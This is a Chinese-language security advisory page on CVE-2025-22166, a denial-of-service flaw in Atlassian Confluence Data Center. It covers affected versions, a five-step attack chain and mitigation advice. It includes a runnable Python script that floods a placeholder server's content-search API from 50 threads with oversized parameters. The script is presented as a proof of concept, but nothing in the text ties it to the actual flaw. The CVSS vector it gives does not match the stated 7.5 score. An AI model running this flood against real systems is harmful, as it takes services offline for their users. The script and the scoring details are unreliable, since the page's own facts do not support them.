IPBUF安全漏洞报告
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CVE-2025-22166 CVSS 7.5 高危

CVE-2025-22166 Atlassian Confluence Data Center 拒绝服务漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-22166
漏洞类型
拒绝服务攻击(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Atlassian Confluence Data Center and Server

相关标签

拒绝服务DoSAtlassianConfluenceConfluence Data Center高危漏洞远程利用无需认证CVE-2025-22166

漏洞概述

CVE-2025-22166 是 Atlassian Confluence Data Center 中的一个高危拒绝服务(DoS)漏洞。该漏洞最早在 Confluence Data Center 2.0 版本中引入,属于网络级别的安全缺陷。攻击者无需任何身份认证即可远程利用此漏洞,通过向目标 Confluence 服务器发送特制的恶意请求,导致服务器资源被大量消耗,从而使服务暂时或永久不可用,严重影响企业知识管理平台的正常运营。

该漏洞的 CVSS 3.1 评分为 7.5 分(部分来源记录为 8.3 分),攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N)。其对机密性影响为低,对完整性无影响,但对可用性影响为高。这意味着攻击者主要目标是使 Confluence 服务瘫痪,而非窃取数据或篡改内容。

Atlassian 官方已确认该漏洞并通过内部安全程序报告。该漏洞影响多个主流版本线,包括 8.5、9.2 和 10.0 系列。Atlassian 强烈建议受影响的客户尽快升级到修复版本,以保护企业协作平台免受潜在攻击。该漏洞的修复版本分别为 8.5.25、9.2.7 和 10.0.2,企业用户应及时进行版本更新以消除安全风险。

技术细节

该漏洞属于拒绝服务(DoS)类漏洞,攻击者可通过网络远程利用,无需任何身份凭证。具体技术原理如下:

1. **漏洞触发机制**:Confluence Data Center 在处理特定类型的网络请求时存在资源管理缺陷。当攻击者向目标服务器发送精心构造的恶意请求时,服务器在解析或处理这些请求时会消耗大量系统资源(如 CPU、内存或线程池资源),导致正常用户请求无法得到及时响应。

2. **利用条件**:攻击者只需拥有目标 Confluence 服务器的网络访问权限(通常为 HTTP/HTTPS 端口),即可发起攻击。由于无需认证(PR:N)和用户交互(UI:N),攻击门槛极低,自动化攻击工具可以轻松批量利用此漏洞。

3. **影响范围**:该漏洞自 Confluence Data Center 2.0 版本引入,影响所有后续未修复的版本线。具体受影响的版本包括 8.5 系列(低于 8.5.25)、9.2 系列(低于 9.2.7)以及 10.0 系列(低于 10.0.2)。

4. **攻击后果**:成功利用后,Confluence 服务器将无法为合法用户提供正常的 Wiki 协作、页面浏览、文档编辑等服务,导致企业知识管理平台完全瘫痪。由于可用性影响为高(A:H),服务中断可能持续较长时间,对依赖 Confluence 进行日常协作的企业造成严重的业务损失。

5. **CVSS 向量分析**:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H 表明该漏洞通过网络即可利用,攻击复杂度低,无需权限和用户交互,影响范围为单一系统,对可用性造成严重影响。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过 Shodan、Censys 等网络空间搜索引擎或直接扫描,识别暴露在公网上的 Confluence Data Center 实例,并确认其版本是否在受影响范围内(8.5 < 8.5.25、9.2 < 9.2.7、10.0 < 10.0.2)。
STEP 2
步骤2:构造恶意请求
攻击者根据漏洞原理,构造能够触发 Confluence 服务器资源过度消耗的特制 HTTP 请求,通常涉及超大参数、异常查询或可导致资源耗尽的特定 API 端点。
STEP 3
步骤3:发起攻击
攻击者无需任何身份认证,直接通过网络向目标 Confluence 服务器发送大量恶意请求,利用多线程或分布式方式放大攻击效果。
STEP 4
步骤4:资源耗尽
目标 Confluence 服务器在处理恶意请求时,CPU、内存或线程池等关键资源被大量消耗,导致服务器响应能力急剧下降。
STEP 5
步骤5:服务不可用
合法用户的正常请求因资源耗尽而无法得到处理,Confluence 服务完全瘫痪,企业协作平台陷入不可用状态,业务运营受到严重影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-22166 - Confluence Data Center DoS PoC # This PoC demonstrates a Denial of Service attack against vulnerable Confluence instances # Affected versions: Confluence Data Center 8.5 < 8.5.25, 9.2 < 9.2.7, 10.0 < 10.0.2 import requests import threading import time TARGET_URL = "https://target-confluence-instance.com" NUM_THREADS = 50 REQUESTS_PER_THREAD = 100 def send_malicious_request(session, thread_id): """Send crafted request to trigger resource exhaustion""" for i in range(REQUESTS_PER_THREAD): try: # Target endpoint that triggers resource-intensive processing headers = { "User-Agent": "Mozilla/5.0 (compatible; DoS-PoC)", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded" } # Crafted payload to trigger resource exhaustion payload = { "queryString": "A" * 10000, # Oversized parameter "maxResults": 999999 } response = session.post( f"{TARGET_URL}/rest/api/content/search", headers=headers, data=payload, timeout=10, verify=False ) print(f"Thread {thread_id} - Request {i}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Thread {thread_id} - Request {i}: Error - {e}") def main(): print(f"[*] Starting DoS attack against {TARGET_URL}") print(f"[*] Threads: {NUM_THREADS}, Requests per thread: {REQUESTS_PER_THREAD}") threads = [] for i in range(NUM_THREADS): session = requests.Session() t = threading.Thread(target=send_malicious_request, args=(session, i)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack completed") if __name__ == "__main__": main()

影响范围

Confluence Data Center and Server 8.5 < 8.5.25
Confluence Data Center and Server 9.2 < 9.2.7
Confluence Data Center and Server 10.0 < 10.0.2
Confluence Data Center >= 2.0(漏洞引入版本)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过防火墙或反向代理限制对 Confluence 服务器的公网访问,仅允许可信 IP 地址访问;2)部署 Web 应用防火墙(WAF),配置针对 Confluence API 端点的速率限制和异常请求过滤规则;3)使用 CDN 或 DDoS 防护服务(如 Cloudflare、Akamai 等)在网络边缘过滤恶意流量;4)监控 Confluence 服务器的资源使用情况,设置 CPU、内存和线程池的告警阈值,及时发现异常;5)限制 Confluence 管理后台和 API 端点的访问权限;6)定期备份 Confluence 数据,以便在遭受攻击后能够快速恢复服务。

参考链接

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